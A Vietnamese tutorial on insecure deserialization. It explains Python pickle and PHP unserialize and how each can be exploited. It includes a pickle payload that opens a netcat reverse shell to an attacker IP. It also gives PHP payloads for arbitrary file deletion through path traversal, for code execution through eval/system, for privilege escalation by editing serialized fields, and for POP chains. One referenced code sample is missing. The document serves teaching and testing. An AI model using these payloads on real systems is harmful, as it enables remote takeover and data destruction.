Đầu tiên, trước khi đi vào tìm hiểu về lổ hổng này, ta sẽ tìm hiểu 1 số khái niệm sau:
Serialization là quá trình chuyển đổi một đối tượng thành một dòng byte để lưu trữ hoặc truyền nó vào bộ nhớ, cơ sở dữ liệu hoặc tệp. Mục đích chính của nó là lưu trạng thái của một đối tượng để có thể tạo lại nó khi cần thiết.
Định dạng mà một đối tượng được serialized trở thành, có thể là dạng nhị phân hoặc structured text (ví dụ: XML, JSON YAML…). Ngày nay, định dạng dữ liệu phổ biến nhất để serializing dữ liệu là JSON.
Deserialization là quá trình trái ngược với Serialization, có nghĩa là lấy dữ liệu có cấu trúc từ một số định dạng và xây dựng lại nó thành một đối tượng.

Có rất nhiều ngôn ngữ lập trình hỗ trợ serialization, ví dụ như: C/C++, Java, Go, JavaScript, Python, Perl, PHP, Ruby,….
Bây giờ ta sẽ bắt đầu tìm hiểu về Lổ hổng Deserialization:
Các ứng dụng web thường xuyên sử dụng serialization và deserialization. Điều quan trọng là phải hiểu rằng việc deserializing an toàn các đối tượng là hoạt động bình thường trong phát triển phần mềm. Tuy nhiên, rủi ro xảy ra khi deserializing dữ liệu đầu vào không đáng tin cậy của người dùng. Hacker có thể lạm dụng các tính năng này khi ứng dụng deserializing dữ liệu không đáng tin cậy mà hacker kiểm soát. Điều này cho phép Hacker thực hiện DoS, bypass authentication và các cuộc tấn công RCE.
Cách xác định lổ hổng Deserialization:
Trong quá trình kiểm tra, ta nên xem xét tất cả dữ liệu đang được chuyển vào trang web và cố gắng xác định bất kỳ thứ gì giống như dữ liệu được Serialized. Điều này tương đối dễ dàng nếu ta biết định dạng mà các ngôn ngữ khác nhau sử dụng. Trong bài viết này, tôi sẽ phân tích về cách phát hiện và khai thác lổ hổng này ở các ngôn ngữ Python, PHP và Java. Sau khi xác định được dữ liệu được Serialized, ta có thể kiểm tra xem mình có khả năng kiểm soát dữ liệu đó hay không.
PYTHON
Với python, thư viện mặc định được sử dụng để thực hiện serializing và deserializing các đối tượng là thư viện pickle. Thư viện này có những thuật toán mạnh mẽ để serializing và deserializing 1 đối tượng.
Các hàm của thư viện pickle:
dump: ghi 1 đối tượng đã được serialized vào 1 file
load: load picked data từ 1 file
dumps: trả về đối tượng đã được serialized ở dạng chuỗi
loads: load picked data từ 1 chuỗi
Ví dụ:
import pickle
serialized = pickle.dumps(['pickle', 'me', 1, 2, 3])
print(pickle.loads(serialized))
Dữ liệu sau khi đươc serialized sẽ trông như thế này
b'\x80\x04\x95\x19\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x06pickle\x94\x8c\x02me\x94K\x01K\x02K\x03e.'
Sau khi deserialized nó sẽ lại trông như cũ
'['pickle', 'me', 1, 2, 3]
Những gì thực sự đang xảy ra đằng sau là luồng byte được tạo bởi dumps chứa các mã opcode sau đó được thực thi từng cái một ngay khi ta sử dụng pickle.loads. Để có thể biết quá trình này trông như thế nào, ta có thể sử dụng pickletools: pickletools.dis
>>> pickled = pickle.dumps(['pickle', 'me', 1, 2, 3])
>>> import pickletools
>>> pickletools.dis(pickled)
0: \x80 PROTO 4
2: \x95 FRAME 25
11: ] EMPTY_LIST
12: \x94 MEMOIZE (as 0)
13: ( MARK
14: \x8c SHORT_BINUNICODE 'pickle'
22: \x94 MEMOIZE (as 1)
23: \x8c SHORT_BINUNICODE 'me'
27: \x94 MEMOIZE (as 2)
28: K BININT1 1
30: K BININT1 2
32: K BININT1 3
34: e APPENDS (MARK at 13)
35: . STOP
highest protocol among opcodes = 4
Kiểm soát quá trình pickling/unpickling:
Không phải mọi đối tượng đều có thể được serialized và việc pickling hay unpickling các đối tượng nhất định (như hàm hoặc lớp) đi kèm với các hạn chế. Tài liệu Python này cung cấp cho ta biết được cái gì có thể và không thể bị pickled.
https://docs.python.org/3/library/pickle.html#what-can-be-pickled-and-unpickled
Tuy nhiên nếu ta sử dụng method __reduce_
_, pickle sẽ biết cách serilize đối tượng này
Nó sẽ trả về gợi ý cách tạo lại (unpickling) đối tượng trong trường hợp nó không thể được pickled tự động. Phương thức này trả về một chuỗi, hoặc một tuple mô tả cách tạo lại đối tượng này. Khi 1 tuple được trả về nó có thể chứa 2 đến 6 phần tử. Giá trị của mỗi phần tử theo thứ tự sau
+ 1 đối tượng có thể được gọi sẽ được gọi để tạo phiên ban đầu của đối tượng
+ 1 tuple chứa các đối số để truyền vào đối tượng đầu tiên. Hoặc 1 tuple rỗng nếu đối tượng trên không nhận đối số.
……………….
Do đó bằng cách thực thi __reduce__ trong 1 class mà ta muốn pickle, ta có thể truyền vào quá trình pickling các đối số để chạy. Mặc dù nhằm mục đích để dựng lại đối tượng, ta có thể lợi dụng điều này để thực thi reverse shell
Giả sử 1 app có chức năng unpickle dữ liệu được pickled ở dạng base64 có source code như sau:
@app.route("/hackme", methods=["POST"])
def hackme():
data = base64.urlsafe_b64decode(request.form['pickled'])
deserialized = pickle.loads(data)
# do something with deserialized or just get pwned.
return ('', 204)
Đầu tiên ta tạo listener trên máy tính dùng để tấn công: nc –lvp 4444
import pickle
import base64
import os
class shell:
def __reduce__(self):
return (os.system, ('nc 192.168.100.113 4444 –e /bin/bash',))
pickled = pickle.dumps(shell())
print(base64.urlsafe_b64encode(pickled))
Lúc này nếu ta sử dụng picktools.dis thì sẽ thấy quá trình như sau:
0: \x80 PROTO 4
2: \x95 FRAME 62
11: \x8c SHORT_BINUNICODE 'nt'
15: \x94 MEMOIZE (as 0)
16: \x8c SHORT_BINUNICODE 'system'
24: \x94 MEMOIZE (as 1)
25: \x93 STACK_GLOBAL
26: \x94 MEMOIZE (as 2)
27: \x8c SHORT_BINUNICODE 'nc 192.168.100.113 4444 –e /bin/bash'
67: \x94 MEMOIZE (as 3)
68: \x85 TUPLE1
69: \x94 MEMOIZE (as 4)
70: R REDUCE
71: \x94 MEMOIZE (as 5)
72: . STOP
highest protocol among opcodes = 4
None
Sau khi nhận được payload ta copy và paste vào form và gửi đi là đã có thể hoàn toàn chiếm được shell của mục tiêu.
PHP
Ở PHP lổ hổng deserialization còn được gọi là PHP object injection. Để có thể hiểu về vấn đề này, trước tiên ta phải biết PHP serialize và deserialize một đối tượng như thế nào.
PHP có 2 hàm là serialize() và unserialize() đảm nhận 2 nhiệm vụ này.
serialize(): PHP object -> plain old string that represents the object
unserialize(): string containing object data -> original object
Ví dụ: đoạn code này sẽ serialize đối tượng “user”.
<?php
class User{
public $username;
public $status;
}
$user = new User;
$user->username = 'vickie';
$user->status = 'not admin';
echo serialize($user);
?>
Kết quả trả về:
O:4:"User":2:{s:8:"username";s:6:"vickie";s:6:"status";s:9:"not admin";}
Bây giờ ta sẽ tìm hiểu cấu trúc của kết quả trả về kia:
Cấu trúc cơ bản của một chuỗi serialized PHP là “datatype: data”. Ví dụ: “b” đại diện cho một boolean.
b:THE_BOOLEAN;
#i đại diện cho 1 số nguyên
i:THE_INTEGER;
#d đại diện cho 1 số thực
d:THE_FLOAT;
#s đại diện cho 1 chuỗi
s:LENTH_OF_STRING:"ACTUAL_STRING";
#a đại diện cho 1 array
a:NUMBER_OF_ELEMENTS:{ELEMENTS}
#O đại diện cho 1 đối tượng
O:LENTH_OF_NAME:"CLASS_NAME":NUMBER_OF_PROPERTIES:{PROPERTIES}
O:4:"User":2:{s:8:"username";s:6:"vickie";s:6:"status";s:9:"not admin";}
Vậy có thể hiểu chuỗi trên đại diện cho 1 đối tượng thuộc class User, có 2 thuộc tính là username và status, với username có giá trị là vickie và status có giá trị là not admin.
Khi ta muốn tạo lại đối tượng thì ta dùng unserialize()
<?php
class User{
public $username;
public $status;
}
$user = new User;
$user->username = 'vickie';
$user->status = 'not admin';
$serialized_string = serialize($user);
$unserialized_data = unserialize($serialized_string);
var_dump($unserialized_data);
?>
Tìm hiểu về unserialize() và tại sao nó gây ra lổ hổng:
Magic method là các function đặc biệt trong các class của PHP, tên của các function này có hai dấu gạch dưới đứng trước, ví dụ như: __sleep(), __toString(), __construc(), ….
Magic method được dùng với serialize:
__sleep:
+Phương thức __sleep()
sẽ được gọi khi chúng ta thực hiện serialize()
đối tượng.
+Thông thường khi chúng ta serialize()
một đối tượng thì nó sẽ trả về tất cả các thuộc tính trong đối tượng đó. Nhưng nếu sử dụng __sleep()
thì chúng ta có thể quy định được các thuộc tính có thể trả về.
+Chú ý: phương thức __sleep()
luôn trả về giá trị là một mảng.
public function __sleep()
{
return ['property1', 'property2', ..., 'propertyn'];
}
Trong đó: property1,property2,...
là các thuộc tính sẽ được trả về khi serialize()
đối tượng.
Ví dụ:
<?php
class User{
public $username;
public $status;
public function __sleep()
{
return ['username'];
}
}
$user = new User;
$user->username = 'vickie';
$user->status = 'not admin';
echo serialize($user);
?>
Kết quả trả về: O:4:”User”:1:{s:8:”username”;s:6:”vickie”;}
__wakeup: Phương thức __wakeup() sẽ được gọi khi chúng ta unserialize() đối tượng. Chúng thường được sử dụng để thực thi một hoặc nhiều hành động nào đó khi đối tượng được unserialize()
Cú pháp:
public function __wakeup()
{
//code
}
Ví dụ
<?php
class User{
public $username;
public $status;
public function __wakeup()
{
echo "__wakeup() method calling";
}
}
$user = new User;
$user->username = 'vickie';
$user->status = 'not admin';
$serialized_string = serialize($user);
unserialize($serialized_string);
?>
Kết quả trả về: __wakeup() method calling
__construct: Hàm __construct() sẽ tự đông được gọi khi ta khởi tạo 1 đối tượng( còn được gọi là hàm khởi tạo).
Cú pháp:
public function __destruct()
{
//code
}
Ví dụ:
<?php
class Fruit {
public $name;
public $color;
function __construct($name) {
$this->name = $name;
}
function get_name() {
return $this->name;
}
}
$apple = new Fruit("Apple");
echo $apple->get_name();
?>
Kết quả trả về: Apple
__destruct: Được gọi khi một đối tượng bị hủy. Mặc định khi kết thúc chương trình hoặc khi ta khai báo mới đối tượng đó sẽ bị hủy bỏ và gọi đến method __destruct().
Cú pháp
public function __destruct()
{
//code
}
Ví dụ:
<?php
class Fruit {
public $name;
public $color;
function __construct($name) {
$this->name = $name;
}
function __destruct() {
echo "The fruit is {$this->name}.";
}
}
$apple = new Fruit("Apple");
?>
Kết quả trả về: The fruit is Apple.
__toString: Phương thức __toString() sẽ được gọi khi chúng ta dùng đối tượng như một string.
Cú pháp:
public function __toString()
{
//code
}
Các magic method liên quan đến khai thác lổ hổng là __wakeup() và __destruct(). Nếu class của đối tượng được serialized thực thi bất kỳ method nào có tên __wakeup() và __destruct(), các method này sẽ được thực thi tự động khi unserialize() được gọi trên một đối tượng.
Cách thức hoạt động của unserialize()
Bước 1: Khởi tạo đối tượng
unserialize() làm lấy chuỗi được serialized, chỉ định class và các thuộc tính của đối tượng đó. Với dữ liệu đó, unserialize() tạo một bản sao của đối tượng được serialized ban đầu. Sau đó, nó sẽ tìm kiếm hàm __wakeup() và thực thi mã trong hàm đó. __wakeup () tái tạo lại bất kỳ tài nguyên nào mà đối tượng có thể có. Nó được sử dụng để thiết lập lại bất kỳ kết nối cơ sở dữ liệu nào đã bị mất trong quá trình serializing và thực hiện các tác vụ khởi tạo khác.
Bước 2: Chương trình sử dụng đối tượng:
Chương trình hoạt động trên đối tượng và sử dụng nó để thực hiện các hành động khác.
Bước 3: Phá hủy đối tượng:
Cuối cùng, khi không có tham chiếu nào đến đối tượng đã deserialized đang tồn tại, __destruct() được gọi để dọn dẹp đối tượng.
Khai thác lổ hổng PHP deserialization
Khi ta kiểm soát một đối tượng được serilized truyền vào unserialize(), ta có thể kiểm soát các thuộc tính của đối tượng đã tạo. Ta cũng có thể kiểm soát luồng của ứng dụng bằng cách kiểm soát các giá trị được truyền vào các phương thức được thực thi tự động như __wakeup() hoặc __destruct(). Việc này có thể dẫn đến code execution, SQL injection, path traversal, hoặc DoS.
Kiểm soát giá trị các biến:
Ví dụ:
O:4:"User":2:{s:8:"username";s:6:"vickie";s:6:"status";s:9:"not admin";}
Chuỗi trên đại diện cho 1 đối tượng thuộc class User, có 2 thuộc tính là username và status, với username có giá trị là vickie và status có giá trị là not admin. Giả sử ta có thể điều khiển gia trị của chuỗi thì ta hoàn toàn có thể đạt được đặc quyền admin
O:4:"User":2{s:8:"username";s:6:"vickie";s:6:"status";s:5:"admin";}
Khai thác phương thức __destruct():
Sau đây là ví dụ được lấy trên OWASP
class Example1
{
public $cache_file;
function __construct()
{
// some PHP code...
}
function __destruct()
{
$file = "/var/www/cache/tmp/{$this->cache_file}";
if (file_exists($file)) @unlink($file);
}
}
// some PHP code...
$user_data = unserialize($_GET['data']);
// some PHP code...
Trong ví dụ trên, hacker hoàn toàn có thể xóa bất cứ file nào thông quá payload sau:
http://testsite.com/vuln.php?data=O:8:"Example1":1{s:10:"cache_file";s:15:"../../index.php";}
Giải thích payload: Như ta thấy ở trên thì trong class có phương thức __destruct() có tác dụng xóa file được chỉ định trong đường dẫn /var/www/cache/tmp/ khi chương trình kết thúc. Và bên ngoài có 1 biến là user_data nhận dữ liệu đã serialized từ người dùng thông qua GET method, sau đó unserialize nó. Đầu tiên ta truyền chuỗi đại diện cho 1 đối tượng của class Example1 đã được serialized thông qua GET method. Đối tượng này có 1 thuộc tính là cache_file có giá trị là ../../index.php. Sau đó chương trình unserialize chuỗi này. Bởi vì nó là 1 chuỗi đại diện cho 1 đối tượng đã được serialized của class Example1 => unserialize khởi tạo 1 đối tượng mới của class example1. Chương trình thao tác với đối tượng này. Sau khi kết thúc chương trình, __destruct() được gọi ra nhằm dọn dẹp đối tượng và thực hiện code bên trong nó, xóa file /var/www/cache/tmp/../../index.php
Khai thác phương thức __wakeup():
Ví dụ này cũng được lấy trên OWASP:
class Example2
{
private $hook;
function __construct()
{
// some PHP code...
}
function __wakeup()
{
if (isset($this->hook)) eval($this->hook);
}
}
// some PHP code...
$user_data = unserialize($_COOKIE['data']);
// some PHP code...
Nhìn vào đoạn code ta thấy, hàm __wakeup() sẽ được tự động gọi khi 1 chuỗi đại diện cho 1 đối tượng đã được serialized của class Example2 được unserilize, đồng thời thực thi đoạn code bên trong chứa hàm eval có tác dụng thực thi giá trị của hook. Vậy lúc này ta chỉ cần truyền cho cookie data 1 đối tượng thỏa mãn điều kiện là được.
class Example2
{
private $hook = "system('ls');";
}
print serialize(new Example2);
Kết quả thu được:
O:8:"Example2":1:{s:14:"Example2hook";s:13:"system('ls');";}
Đổi giá trị của cookie data thành chuỗi vừa thu được, ta đã thành công thực hiện RCE lên mục tiêu:
Giải thích payload: Đầu tiên ta truyền một đối tượng Example2 đã được serialized vào chương trình dưới dạng cookie data. Chương trình gọi unserialize() lên cookie này. Bởi vì cookie dữ liệu là một đối tượng Example2 được serilized, unserialize() khởi tạo một đối tượng Example2 mới. unserialize() thấy rằng lớp Example2 có __wakeup() được triển khai, __wakeup() tìm kiếm thuộc tính $hook của đối tượng và nếu nó không phải là NULL, nó sẽ chạy eval($ hook). $hook là “system(‘ls’)”, do đó eval(system(‘ls’); được thực thi
Khai thác phương thức __toString():
Ví dụ 3 trên OWASP:
class Example3
{
protected $obj;
function __construct()
{
// some PHP code...
}
function __toString()
{
if (isset($this->obj)) return $this->obj->getValue();
}
}
// some PHP code...
$user_data = unserialize($_POST['data']);
// some PHP code...
PHP POP chain
Đôi khi các magic method của class không chứa bất kì đoạn code nào hữu ích cho việc khai thác lổ hổng deserialization. Lúc này các phương thức mà ta đề ra phía trên kia hoàn toàn không có tác dụng. Kể cả có như thế, hacker vẫn có thể tấn công mục tiêu bằng cách sử dụng POP chain. Nó có thể khiến hacker có thể điều khiển được tất cả thuộc tính của đối tượng được deserialized.. POP chain hoạt động bằng cách xâu chuỗi các gadget lại với nhau để có thể đạt được mục tiêu.
Ví dụ về POP chain:

Đoạn code trên là 1 POP chain có chứa 3 gadget. Mà trong đó khi ta chèn một đối tượng ‘Mail’ vào thuộc tính $writter , tại dòng sẽ gọi đến shutdown() của class Mail. Và khi chèn một đối tượng ‘Sendmail’ vào thuộc tính $transport, dòng 18 sẽ gọi đến send() của class Sendmail. Giả sử ta thay đổi giá trị của callable và to thành ‘system’ và ‘ls’ thì sẽ đạt được remote code.
Ví dụ 2:
class Example{
private $obj;
function __construct()
{
// some PHP code...
}
function __wakeup()
{
if (isset($this->obj)) return $this->obj->evaluate();
}
}
class CodeSnippet{
private $code;
function evaluate()
{
eval($this->code);
}
}
// some PHP code...
$user_data = unserialize($_POST['data']);
// some PHP code...
Đoạn code trên là 1 POP chain có 2 gadget. Trong ví dụ trên, khi unserilize 1 chuỗi đại diện cho đối tượng Example, __wakeup sẽ tự động được gọi, nếu obj không phải là NULL thì sẽ gọi đến phương thức evaluate() của class CodeSnippet. Chỉ cần thay đổi giá trị của $code thành 1 cái gì đấy nguy hiểm ví dụ như “system(‘ls’);” là đã có thể chiếm được quyền điều khiển rồi.
Code để
class CodeSnippet
{
private $code = "system('ls');";
}
class Example
{
private $obj;
function __construct()
{
$this->obj = new CodeSnippet;
}
}
print serialize(new Example);